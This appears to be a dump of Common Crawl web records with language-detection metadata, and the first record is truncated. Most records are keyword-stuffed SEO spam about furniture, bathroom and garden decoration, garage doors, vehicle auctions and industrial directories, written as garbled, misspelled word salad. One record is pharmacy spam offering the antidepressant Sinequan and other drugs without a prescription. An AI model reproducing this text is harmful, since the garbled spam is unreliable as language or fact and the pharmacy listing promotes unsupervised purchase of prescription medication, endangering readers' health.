vitae.","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/abou.info\/un-exemple-de-resume-simple\/un-exemple-de-resume-simple-simple-word-exemple-de-resume-simple\/","date":"2018-10-21T08:26:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583513804.32\/warc\/CC-MAIN-20181021073314-20181021094814-00109.warc.gz","language":"ina","language_score":0.3390464485,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.339046448469162, \"lat_Latn_score\": 0.27014487981796265, \"fra_Latn_score\": 0.15932528674602509, \"ron_Latn_score\": 0.04581598564982414, \"cat_Latn_score\": 0.027767255902290344, \"sco_Latn_score\": 0.026386739686131477, \"oci_Latn_score\": 0.020069781690835953, \"por_Latn_score\": 0.014573048800230026, \"eng_Latn_score\": 0.012469179928302765}","num_words":146,"character_repetition_ratio":0.236,"word_repetition_ratio":0.095,"special_characters_ratio":0.149,"stopwords_ratio":0.219,"flagged_words_ratio":0.0,"lang_id_score":0.339,"perplexity_score":3348.7,"cluster_detection":-1} +{"text":"bibliotheque style scandinave 28eur28 sur berg atagare bibliothaque murale style scandinave bibliothaque style bibliotheque basse style scandinave.\nenfilade meuble bibliotheque style scandinave vers buffet eur 1960 basse,exceptional bibliotheque basse style scandinave ensemble tv meuble et 13,bibliothaque meuble bibliotheque style scandinave ausman vente de basse blanc achat bois,douest design bibliotheque style scandinave brin basse meuble bibliothaque,style de bibliothaque salle distinguac bibliotheque scandinave meuble bain basse,style sur murale bibliothaque berg atagare scandinave nordique bibliotheque meuble basse 65eur52,bibliotheque basse style scandinave in bibliothaque france made meuble de bois,bibliotheque style scandinave mobibam meuble des basse plans mesure sur bibliothaque,meuble bibliotheque style scandinave travail basse bureau espace le de dun petit amacnagement,deco blanche bibliotheque scandinave ideeco idee meuble style salon basse.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/putlockerfree.pro\/bibliotheque-style-scandinave\/bibliotheque-style-scandinave-28eur28-sur-berg-atagare-bibliothaque-murale-style-scandinave-bibliothaque-style-bibliotheque-basse-style-scandinave\/","date":"2018-11-18T22:26:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039744750.80\/warc\/CC-MAIN-20181118221818-20181119003818-00527.warc.gz","language":"ina","language_score":0.4246074259,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.42460742592811584, \"fra_Latn_score\": 0.29641854763031006, \"eng_Latn_score\": 0.10009736567735672, \"lat_Latn_score\": 0.05674157291650772, \"enm_Latn_score\": 0.04148954153060913, \"sco_Latn_score\": 0.02396177127957344, \"ita_Latn_score\": 0.01184203289449215}","num_words":254,"character_repetition_ratio":0.253,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":0.425,"perplexity_score":11056.9,"cluster_detection":-1} +{"text":"Interesting design ideas idees deco salle de bain moderne is published for those of you who are looking for any idees de design de maison contemporaine ideas. Tagged with Bain, De, Deco, Idees, Moderne, Salle.\nInteresting Design Ideas Idees Deco Salle De Bain Moderne also has 20 more pictures including chic ideas idees deco salle de bain moderne beau id e d co et les plus belle sur galerie des photos, glamorous idees deco salle de bain moderne d co decoration guide, neoteric idees deco salle de bain moderne brico marron beige la petite id es d coration, lovely inspiration ideas idees deco salle de bain moderne idee armoire un l ment essentiel et d co, sensational inspiration ideas idees deco salle de bain moderne on decoration d interieur la, pleasant idees deco salle de bain moderne des teintes sombres pour une design feria d co sombre, nice idees deco salle de bain moderne id e d coration 3, bright inspiration idees deco salle de bain moderne douche a l italienne idee avec, winsome idees deco salle de bain moderne idee, stylish design ideas idees deco salle de bain moderne id e d coration amazing basement layout description, smart idea idees deco salle de bain moderne decoration b on me, lofty inspiration idees deco salle de bain moderne idee waaqeffannaa org design d fair id es coration bureau domicile by photo decoration, incredible ideas idees deco salle de bain moderne faience 7 maison peinture 10 beautiful idee carrelage photos design, cool and opulent idees deco salle de bain moderne d eau photos et id es co salles pour une taille moyenne avec un carrelage gris, winsome design idees deco salle de bain moderne chambre enfant idee carrelage photos que vraiment distingua pour decoration maison gris et, nonsensical idees deco salle de bain moderne decoration idee, surprising inspiration idees deco salle de bain moderne decoration 13 image d co decoration guide, bold ideas idees deco salle de bain moderne idee faience photo newsindo co, and extraordinary idea idees deco salle de bain moderne decoration 14 d coration systembase co 6 awesome modern ideas amazing house design.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/www.zanpa.info\/interesting-design-ideas-idees-deco-salle-de-bain-moderne\/","date":"2018-11-12T17:42:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039741016.16\/warc\/CC-MAIN-20181112172845-20181112194845-00335.warc.gz","language":"ina","language_score":0.3104287088,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3104287087917328, \"eng_Latn_score\": 0.19473935663700104, \"sco_Latn_score\": 0.12018413096666336, \"fra_Latn_score\": 0.06968460232019424, \"lim_Latn_score\": 0.028253590688109398, \"gmh_Latn_score\": 0.014703919179737568, \"glg_Latn_score\": 0.011878011748194695, \"eus_Latn_score\": 0.011777862906455994}","num_words":600,"character_repetition_ratio":0.28,"word_repetition_ratio":0.127,"special_characters_ratio":0.185,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":0.338,"perplexity_score":4203.6,"cluster_detection":-1} +{"text":"bibliotheque meuble design medium size of bibliotheque meuble design temahome delta 4 bibliothaque actagare tv meuble bibliotheque bois design.\nbibliotheque meuble design entiarement sur mesure les volumes et les couleurs de la bibliothaque rivoli de chez quadro meuble bibliotheque design italien.\nbibliotheque meuble design coin lecture avec un meuble bibliothaque blanc et ractro meuble bibliotheque modulable design.\nbibliotheque meuble design meuble bibliothaque blanc deco interieur bibliotheque meuble design pas cher.\nbibliotheque meuble design designs cracatifs de meuble bibliothaque meuble bibliotheque bois design.\nbibliotheque meuble design bibliothaque design laquace bibliotheque meuble design pas cher.\nbibliotheque meuble design meubles saba italia bibliothaque murale meuble bibliotheque design sur mesure.\nbibliotheque meuble design sara bergando meuble bibliotheque design idee circulaire rond meuble tv bibliotheque design pas cher.\nbibliotheque meuble design meuble bibliothaaque sur mesure bibliotheque meuble design.\nbibliotheque meuble design promotion bibliothaque design tetra meuble bibliotheque bois design.\nbibliotheque meuble design 10 bibliothaques qui ont du style meuble bibliotheque design sur mesure.\nbibliotheque meuble design meuble annecy mobilier design annecy meuble mobilier annecy meuble bibliotheque bibliotheque meuble design.\nbibliotheque meuble design meuble bibliothaque bois minimaliste bibliotheque meuble tv design.\nbibliotheque meuble design meuble design allemand meuble bibliotheque moderne pas cher.\nbibliotheque meuble design bibliothaque design bureau design meuble bibliotheque bois design.\nbibliotheque meuble design bibliotheque meuble design mee coin bureau niches bibliotheque meuble design meuble bibliotheque design italien.\nbibliotheque meuble design qu il sagisse dun simple rangement ou dun meuble cracatif la bibliothaque design sadapte a meuble bibliotheque design contemporain.\nbibliotheque meuble design bibliothque modulaire design composer dans bibliothaque meuble design meuble bibliotheque design italien.\nbibliotheque meuble design meuble tv bibliotheque design pas cher.\nbibliotheque meuble design meuble bibliotheque meuble tv bibliotheque design pas cher.\nbibliotheque meuble design medium size of bibliotheque meuble design bibliothaque bois massif ouverte taupe bibliotheque meuble tv design.\nbibliotheque meuble design bibliothaque bureau design meuble bureau bibliotheque bibliotheque bureau design bibliotheque meuble design pas cher.\nbibliotheque meuble design temahome wind bibliothaque atagare design blanche mate meuble bibliotheque design italien.\nbibliotheque meuble design bibliotheque meuble design pas cher meub salon meuble bibliotheque moon design destructure.\nbibliotheque meuble design bibliotheque design blanc unique meuble tv bibliotheque design lotsofstylefo meuble bibliotheque design sur mesure.\nbibliotheque meuble design bibliotheque meuble design etagare bibliothaque fond noyer mosaaque haute bibliotheque meuble design pas cher bibliotheque meuble tv design.\nbibliotheque meuble design meuble bibliothaque blanc bibliotheque meuble tv design.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/reiskerze.info\/bibliotheque-meuble-design\/","date":"2019-02-16T15:14:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247480622.9\/warc\/CC-MAIN-20190216145907-20190216171907-00480.warc.gz","language":"ina","language_score":0.3205323815,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3205323815345764, \"lat_Latn_score\": 0.30509713292121887, \"fra_Latn_score\": 0.09118035435676575, \"eng_Latn_score\": 0.047000493854284286, \"gmh_Latn_score\": 0.02034219168126583, \"asm_Latn_score\": 0.018474550917744637, \"sco_Latn_score\": 0.016181185841560364, \"eus_Latn_score\": 0.011981839314103127, \"nrm_Latn_score\": 0.01171522494405508, \"nov_Latn_score\": 0.010891095735132694}","num_words":918,"character_repetition_ratio":0.393,"word_repetition_ratio":0.36,"special_characters_ratio":0.134,"stopwords_ratio":0.195,"flagged_words_ratio":0.0,"lang_id_score":0.321,"perplexity_score":13376.5,"cluster_detection":-1} +{"text":"Valutazione 4.7 sulla base di 128 voti.\nPrezzo da €0.26 Per pillola\nSinequan 10 mg precio en farmacias\nacquistare Sinequan line italia\nprecio Sinequan generico farmacias\nPrezzo basso Doxepin hydrochloride Olanda\nSinequan prezzo in farmacia\ne possibile acquistare Sinequan senza ricetta\nPrezzo basso Sinequan Doxepin hydrochloride Europa\ngenerico Sinequan Doxepin hydrochloride Brasile\ncat costa Sinequan in farmacia\nacquista Sinequan generico online\nAcquistare Sinequan 10 mg Olanda\ngenerico de Sinequan en venezuela\nA buon mercato Sinequan Doxepin hydrochloride Canada\nQuanto costa Sinequan Italia\nAcquistare 10 mg Sinequan Tacchino\nA buon mercato Sinequan Polonia\ngenerico Sinequan en farmacias\nPrezzo Sinequan Doxepin hydrochloride Austria\nbasso costo 10 mg Sinequan Emirati Arabi Uniti\nbuy Accutane\ngeneric Moduretic\nDove ordinare Levitra Oral Jelly 20 mg in Yellville, AR\nDove posso ottenere Strattera in Redwater, TX\nbuy Diflucan\nAcquista Sinequan Olanda\nAcquistare Sinequan 10 mg Stati Uniti\nSinequan lo trovo farmacia\nPrezzo basso Doxepin hydrochloride Australia\nbasso costo Sinequan Doxepin hydrochloride Grecia\nPrezzo Sinequan Doxepin hydrochloride Francia\nSconto 10 mg Sinequan Belgio\nSinequan generico argentina\nSconto Sinequan Austria\ngenerico Sinequan 10 mg Stati Uniti\nAcquista Doxepin hydrochloride Francia\nSconto Sinequan 10 mg Belgio\ntadalafil – Sinequan generico\nA buon mercato Sinequan Doxepin hydrochloride Stati Uniti\nQuanto costa Sinequan Portogallo\nconveniente Sinequan USA\nbasso costo 10 mg Sinequan Olanda\nacquistare Sinequan\nSinequan precio en las farmacias\nA buon mercato Sinequan Svezia\nexiste Sinequan generico no brasil\nfarmacia Sinequan online\npreco de Sinequan generico\ngaddafi Sinequan soldiers\nlevitra generico Sinequan\nAcquistare Sinequan 10 mg Brasile\nQuanto costa 10 mg Sinequan Stati Uniti\nAcquista Sinequan Danimarca\nvendita Sinequan farmacia senza ricetta\nvenda de Sinequan em farmacias\ngenerico Sinequan ultrafarma\ncomo comprar Sinequan farmacia\nconveniente Sinequan 10 mg Israele\nconveniente Doxepin hydrochloride Olanda\nPrezzo basso Sinequan Emirati Arabi Uniti\nIl costo di Sinequan Doxepin hydrochloride Norvegia\ncome acquistare Sinequan senza ricetta medica\nSinequan se vende sin receta farmacias\ngenerico Doxepin hydrochloride Australia\nin linea Sinequan Doxepin hydrochloride USA\nSinequan acquisto on line italia\nSinequan sin receta en farmacia\nQuanto costa Sinequan Emirati Arabi Uniti\nAcquistare Sinequan 10 mg Francia\nacquisto Sinequan roma\nSinequan original farmacia\nbasso costo Sinequan Inghilterra\nhay generico de Sinequan\nventa Sinequan generico españa\nOrdine Sinequan Repubblica Ceca\nA buon mercato Sinequan Australia\nposso comprar Sinequan na farmacia\nOrdine Sinequan Svizzera\nIl costo di 10 mg Sinequan Francia\nconveniente 10 mg Sinequan\nnome do generico do Sinequan preço\nexiste el generico de Sinequan\nPrezzo Sinequan 10 mg Repubblica Ceca\nbasso costo Sinequan 10 mg Emirati Arabi Uniti\nSinequan acquisto line italia\nQuanto costa Sinequan 10 mg Israele\nventa Sinequan farmacias españa\nconveniente Sinequan Croazia\nAcquistare Sinequan Grecia\nSinequan farmacias buenos aires\nSinequan costa in farmacia\nnovo generico do Sinequan\ngenerico Doxepin hydrochloride Giappone\nAcquistare Doxepin hydrochloride Norvegia\ndove acquistare Sinequan italia\nAcquista Sinequan Doxepin hydrochloride Francia\nSinequan venta farmacias\ngenerico Sinequan now\nprecio Sinequan farmacia del ahorro\nSinequan generico sicuro\nSinequan generico prezzo piu basso\ngenerico Sinequan promoзгo\nin linea Sinequan Doxepin hydrochloride Francia\ndove comprare Sinequan in farmacia\nOrdine Sinequan Brasile\nQuanto costa Sinequan Doxepin hydrochloride Repubblica Ceca\nbasso costo Sinequan US\ncompra Sinequan generico italia\nAcquistare Sinequan 10 mg Israele\nPrezzo basso 10 mg Sinequan USA\nQuanto costa Sinequan 10 mg Polonia\nmerca farmacia Sinequan 10 mg\nQuanto costa Sinequan 10 mg Austria\nacquisto Sinequan a torino\nAcquistare Doxepin hydrochloride Belgio\nA buon mercato Doxepin hydrochloride Francia\ngenerico do Sinequan tem o mesmo efeito\nPrezzo Sinequan Croazia\nconveniente Sinequan Doxepin hydrochloride Spagna\nPrezzo Sinequan 10 mg Francia\nbasso costo Doxepin hydrochloride Italia\nSinequan generico humor tadela\nprezzo farmacia Sinequan 10 mg\ncomo comprar Sinequan en farmacias\nbasso costo Sinequan Doxepin hydrochloride Croazia\ncomprar Sinequan sin receta farmacia\nPrezzo basso Doxepin hydrochloride Belgio\ngenerico Sinequan Doxepin hydrochloride\ncuanto vale Sinequan farmacias chile\ngenerico Sinequan ou Sinequan\nse comprar Sinequan sin receta farmacia\nacquisto Sinequan e Sinequan\nA buon mercato Sinequan Doxepin hydrochloride Giappone\ngenerico de la Sinequan\nAcquista Sinequan Doxepin hydrochloride Giappone\nacquisto Sinequan generico in italia\nSinequan generica farmacia\nconveniente 10 mg Sinequan Belgio\nin linea Sinequan Emirati Arabi Uniti\nSinequan in vendita in italia\n9825510688.000webhostapp.com\ncheap Tadalis\nbuy Tadalafil\no2VFElV","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/app-1524030277.000webhostapp.com\/2019\/06\/in-linea-sinequan-10-mg-quanto-costa-in-capitol-heights-md-soddisfazione-100-garantita-no-pharmacy-script-online","date":"2019-11-20T19:19:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670601.75\/warc\/CC-MAIN-20191120185646-20191120213646-00324.warc.gz","language":"ina","language_score":0.481847316,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4818473160266876, \"ita_Latn_score\": 0.08618117868900299, \"lat_Latn_score\": 0.08471329510211945, \"ile_Latn_score\": 0.05647208169102669, \"eus_Latn_score\": 0.04747664928436279, \"lij_Latn_score\": 0.02423459105193615, \"mlt_Latn_score\": 0.023958029225468636, \"kiu_Latn_score\": 0.02364386059343815, \"por_Latn_score\": 0.017308754846453667, \"scn_Latn_score\": 0.016054419800639153, \"vec_Latn_score\": 0.01329787727445364, \"nap_Latn_score\": 0.010546145960688591, \"arg_Latn_score\": 0.010527028702199459}","num_words":1459,"character_repetition_ratio":0.214,"word_repetition_ratio":0.068,"special_characters_ratio":0.153,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.31,"perplexity_score":30934.8,"cluster_detection":-1} +{"text":"puertas de garage puertas de garaje modernas en puerto rico.\npuertas de garage 3 puertas de garajes republica dominicana.\npuertas de garage garage puertas de garaje automaticas en tijuana.\npuertas de garage puen leccionar en en la puertas de garaje usadas en tijuana.\npuertas de garage puertas de garaje rivera caguas.\npuertas de garage puertas de garaje en mexico.\npuertas de garage garage precio de puertas automaticas para garaje en mexico.\npuertas de garage puertas garaje rivera puerto rico.\npuertas de garage puertas de garaje de madera rusticas.\npuertas de garage 1 puertas de garaje de madera rusticas.\npuertas de garage garage puertas de garajes republica dominicana.\npuertas de garage puertas de garaje de madera precios.\npuertas de garage iii fotos de puertas de garajes.\npuertas de garage classic garage mix photo puertas de garaje.\npuertas de garage puertas de garaje en tijuana precios.\npuertas de garage puertas de garaje automaticas mexico.\npuertas de garage la partes para puertas de garage en tijuana.\npuertas de garage garage 1 reparacion puertas de garaje caguas.\npuertas de garage garage en stock puertas de garaje en puerto rico.\npuertas de garage puertas de garaje mexico df.\npuertas de garage puertas garaje rivera caguas.","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/grhcommunication.info\/puertas-de-garage\/","date":"2020-02-17T22:31:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875143373.18\/warc\/CC-MAIN-20200217205657-20200217235657-00386.warc.gz","language":"ina","language_score":0.3135952652,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3135952651500702, \"spa_Latn_score\": 0.17254532873630524, \"arg_Latn_score\": 0.10747309029102325, \"kjs_Latn_score\": 0.08466102182865143, \"pan_Latn_score\": 0.06945833563804626, \"ido_Latn_score\": 0.042968250811100006, \"quw_Latn_score\": 0.02064608223736286, \"zpa_Latn_score\": 0.013787423260509968, \"cbk_Latn_score\": 0.012276671826839447, \"qxn_Latn_score\": 0.011759018525481224}","num_words":362,"character_repetition_ratio":0.4,"word_repetition_ratio":0.232,"special_characters_ratio":0.179,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.314,"perplexity_score":3610.6,"cluster_detection":-1} +{"text":"Descargar Musica de Abacus A Place In Time Online\nDescargar musica de abacus a place in time online gratis.\nBuscar: Artista y\/o cancion\n¿ Te gusta abacus a place in time ?\nResultados :\nEscuchar musica de abacus a place in time\nAbacusA Place In Time08:22\nAbacusA Place In Time08:21\nAbacusA Place In Time10:44\nAbacusA Place In Time09:06\nComentarios de Taringa MP3","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/mp3taringa.net\/mp3\/abacus-a-place-in-time","date":"2016-10-28T17:56:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988725451.13\/warc\/CC-MAIN-20161020183845-00317-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.6799842119,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6799842119216919, \"lat_Latn_score\": 0.08557897806167603, \"por_Latn_score\": 0.05411497503519058, \"ron_Latn_score\": 0.026895498856902122, \"ile_Latn_score\": 0.018292082473635674, \"srd_Latn_score\": 0.017295802012085915, \"spa_Latn_score\": 0.011209549382328987, \"eng_Latn_score\": 0.010526491329073906, \"run_Latn_score\": 0.010114711709320545}","num_words":84,"character_repetition_ratio":0.19,"word_repetition_ratio":0.213,"special_characters_ratio":0.244,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.9,"perplexity_score":15920.6,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite furgoni » Aste per le vendite pulminiAste per le vendite pick-upAste per le vendite furgoni combi » Aste per le vendite pulmini IVECOAste per le vendite CITROENAste per le vendite OPELAste per le vendite PEUGEOTAste per le vendite RENAULTAste per le vendite TOYOTA","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/autoline-eu.it\/auction\/furgoni-minibus-IVECO--c6tk2349tm2616.html","date":"2016-10-27T13:14:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988721278.88\/warc\/CC-MAIN-20161020183841-00120-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.7302507758,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7302507758140564, \"lmo_Latn_score\": 0.10259108245372772, \"frp_Latn_score\": 0.07269582152366638, \"nap_Latn_score\": 0.04400109127163887, \"ita_Latn_score\": 0.024044247344136238, \"bew_Latn_score\": 0.015623390674591064}","num_words":101,"character_repetition_ratio":0.413,"word_repetition_ratio":0.022,"special_characters_ratio":0.184,"stopwords_ratio":0.04,"flagged_words_ratio":0.0,"lang_id_score":0.955,"perplexity_score":2550.0,"cluster_detection":-1} +{"text":"|Industrial Insulation in Alabama||Industrial Insulation in Alaska|\n|Industrial Insulation in Alberta||Industrial Insulation in Arizona|\n|Industrial Insulation in Arkansas||Industrial Insulation in British Columbia|\n|Industrial Insulation in California||Industrial Insulation in Colorado|\n|Industrial Insulation in Connecticut||Industrial Insulation in Delaware|\n|Industrial Insulation in Florida||Industrial Insulation in Georgia|\n|Industrial Insulation in Hawaii||Industrial Insulation in Idaho|\n|Industrial Insulation in Illinois||Industrial Insulation in Indiana|\n|Industrial Insulation in Iowa||Industrial Insulation in Kansas|\n|Industrial Insulation in Kentucky||Industrial Insulation in Louisana|\n|Industrial Insulation in Maine||Industrial Insulation in Manitoba|\n|Industrial Insulation in Maryland\/DC||Industrial Insulation in Massachusetts|\n|Industrial Insulation in Michigan||Industrial Insulation in Minnesota|\n|Industrial Insulation in Mississippi||Industrial Insulation in Missouri|\n|Industrial Insulation in Montana||Industrial Insulation in Nebraska|\n|Industrial Insulation in Nevada||Industrial Insulation in New Brunswick|\n|Industrial Insulation in New Hapshire||Industrial Insulation in New Jersey|\n|Industrial Insulation in New Mexico||Industrial Insulation in New York|\n|Industrial Insulation in Newfoundland and Labrador||Industrial Insulation in North Carolina|\n|Industrial Insulation in North Dakota||Industrial Insulation in Northwest Territories|\n|Industrial Insulation in Nova Scotia||Industrial Insulation in Nunavut|\n|Industrial Insulation in Ohio||Industrial Insulation in Oklahoma|\n|Industrial Insulation in Ontario||Industrial Insulation in Oregon|\n|Industrial Insulation in Pennsylvania||Industrial Insulation in Prince Edwards Island|\n|Industrial Insulation in Quebec||Industrial Insulation in Rhode Island|\n|Industrial Insulation in Saskatchewan||Industrial Insulation in South Carolina|\n|Industrial Insulation in South Dakota||Industrial Insulation in Tennessee|\n|Industrial Insulation in Texas||Industrial Insulation in Utah|\n|Industrial Insulation in Vermont||Industrial Insulation in Virginia|\n|Industrial Insulation in Washington||Industrial Insulation in West Virginia|\n|Industrial Insulation in Wisconsin||Industrial Insulation in Wyoming|\n|Industrial Insulation in Yukon|","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/industrynet.com\/categories\/IN1114\/industrial-insulation","date":"2016-10-25T04:58:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719908.93\/warc\/CC-MAIN-20161020183839-00120-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.308216542,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.30821654200553894, \"sco_Latn_score\": 0.1831943392753601, \"eng_Latn_score\": 0.1664467751979828, \"nds_Latn_score\": 0.07537930458784103, \"ile_Latn_score\": 0.0697937086224556, \"slv_Latn_score\": 0.02684958651661873, \"deu_Latn_score\": 0.0256617721170187, \"nov_Latn_score\": 0.012843235395848751, \"nld_Latn_score\": 0.011547453701496124}","num_words":460,"character_repetition_ratio":0.541,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.615,"perplexity_score":12640.5,"cluster_detection":-1} +{"text":"|Textile Waste Reclamation in Alabama||Textile Waste Reclamation in Alaska|\n|Textile Waste Reclamation in Alberta||Textile Waste Reclamation in Arizona|\n|Textile Waste Reclamation in Arkansas||Textile Waste Reclamation in British Columbia|\n|Textile Waste Reclamation in California||Textile Waste Reclamation in Colorado|\n|Textile Waste Reclamation in Connecticut||Textile Waste Reclamation in Delaware|\n|Textile Waste Reclamation in Florida||Textile Waste Reclamation in Georgia|\n|Textile Waste Reclamation in Hawaii||Textile Waste Reclamation in Idaho|\n|Textile Waste Reclamation in Illinois||Textile Waste Reclamation in Indiana|\n|Textile Waste Reclamation in Iowa||Textile Waste Reclamation in Kansas|\n|Textile Waste Reclamation in Kentucky||Textile Waste Reclamation in Louisana|\n|Textile Waste Reclamation in Maine||Textile Waste Reclamation in Manitoba|\n|Textile Waste Reclamation in Maryland\/DC||Textile Waste Reclamation in Massachusetts|\n|Textile Waste Reclamation in Michigan||Textile Waste Reclamation in Minnesota|\n|Textile Waste Reclamation in Mississippi||Textile Waste Reclamation in Missouri|\n|Textile Waste Reclamation in Montana||Textile Waste Reclamation in Nebraska|\n|Textile Waste Reclamation in Nevada||Textile Waste Reclamation in New Brunswick|\n|Textile Waste Reclamation in New Hapshire||Textile Waste Reclamation in New Jersey|\n|Textile Waste Reclamation in New Mexico||Textile Waste Reclamation in New York|\n|Textile Waste Reclamation in Newfound. & Lab.||Textile Waste Reclamation in North Carolina|\n|Textile Waste Reclamation in North Dakota||Textile Waste Reclamation in Northwest Terr.|\n|Textile Waste Reclamation in Nova Scotia||Textile Waste Reclamation in Nunavut|\n|Textile Waste Reclamation in Ohio||Textile Waste Reclamation in Oklahoma|\n|Textile Waste Reclamation in Ontario||Textile Waste Reclamation in Oregon|\n|Textile Waste Reclamation in Pennsylvania||Textile Waste Reclamation in Prince Edwards Isl.|\n|Textile Waste Reclamation in Quebec||Textile Waste Reclamation in Rhode Island|\n|Textile Waste Reclamation in Saskatchewan||Textile Waste Reclamation in South Carolina|\n|Textile Waste Reclamation in South Dakota||Textile Waste Reclamation in Tennessee|\n|Textile Waste Reclamation in Texas||Textile Waste Reclamation in Utah|\n|Textile Waste Reclamation in Vermont||Textile Waste Reclamation in Virginia|\n|Textile Waste Reclamation in Washington||Textile Waste Reclamation in West Virginia|\n|Textile Waste Reclamation in Wisconsin||Textile Waste Reclamation in Wyoming|\n|Textile Waste Reclamation in Yukon|","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/industrynet.com\/categories\/TE0775\/textile-waste-reclamation","date":"2016-10-21T17:11:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988718285.69\/warc\/CC-MAIN-20161020183838-00420-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.3953793943,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3953793942928314, \"sco_Latn_score\": 0.1093120202422142, \"eng_Latn_score\": 0.07098016887903214, \"deu_Latn_score\": 0.05442207306623459, \"kos_Latn_score\": 0.046391770243644714, \"kiu_Latn_score\": 0.03842255100607872, \"bem_Latn_score\": 0.023753367364406586, \"dag_Latn_score\": 0.01595768891274929, \"ile_Latn_score\": 0.011321519501507282}","num_words":646,"character_repetition_ratio":0.583,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.279,"perplexity_score":19606.1,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine agricole » Aste per le vendite trattori gommatiAste per le vendite trattorini » Aste per le vendite trattori gommati RENAULTAste per le vendite CASEAste per le vendite FENDTAste per le vendite FIATAste per le vendite ISEKIAste per le vendite JOHN DEEREAste per le vendite KUBOTAAste per le vendite MASSEY FERGUSONAste per le vendite NEW HOLLAND","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/autoline-eu.it\/-\/Aste\/trattori-gommati\/RENAULT--a5c231tm2729","date":"2017-10-21T16:29:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187824820.28\/warc\/CC-MAIN-20171021152723-20171021172723-00416.warc.gz","language":"ina","language_score":0.5523844361,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5523844361305237, \"frp_Latn_score\": 0.1320907324552536, \"ita_Latn_score\": 0.11049816012382507, \"lmo_Latn_score\": 0.08510331064462662, \"nap_Latn_score\": 0.06703966856002808, \"bew_Latn_score\": 0.03273303061723709}","num_words":119,"character_repetition_ratio":0.394,"word_repetition_ratio":0.055,"special_characters_ratio":0.173,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":0.946,"perplexity_score":2981.2,"cluster_detection":-1} +{"text":"Idee De Deco De Jardin\nidee de deco de jardin 20 coin repas exterieur et salon de jardin 100 idees de deco les 10 meilleures ides idee deco jardin zen.\nidee de deco de jardin charming idee de deco jardin exterieur 14 decoration idee de deco jardin blog idee idee de decoration pour petit jardin.\nidee de deco de jardin clature de jardin design idee de decoration pour jardin.\nidee de deco de jardin 50 idaces dacco pour une table de mariage idee deco petit jardin zen.\nidee de deco de jardin awesome idee jardin moderne contemporary design trends 2017 idee deco jardin avec galets.\nidee de deco de jardin 8 petits jardins qui ont de lidace idee deco pour jardin pas cher.\nidee de deco de jardin id e d coration jardin bleu idee de decoration de jardin idee deco jardin pas cher.\nidee de deco de jardin idaces raccup pour un jardin dacco catac maison idee de deco jardin exterieur.\nidee de deco de jardin idee de deco de jardin dessin idee deco de jardin idee deco pour jardin zen idee decoration jardin pas chere.\nidee de deco de jardin quelques idaces dacco autour de labri idee de decoration pour jardin.\nidee de deco de jardin bambou dacco 40 idaces pour un daccor jardin avec du bambou idee de deco jardin exterieur.\nidee de deco de jardin fabriquer un salon de jardin en palette bois idee deco jardin zen.\nidee de deco de jardin deco de jardin originale idee deco jardin recup photos de conception de maison elrup com deco deco de jardin idee deco jardin zen.\nidee de deco de jardin 8 idaces de bassin de jardin pour 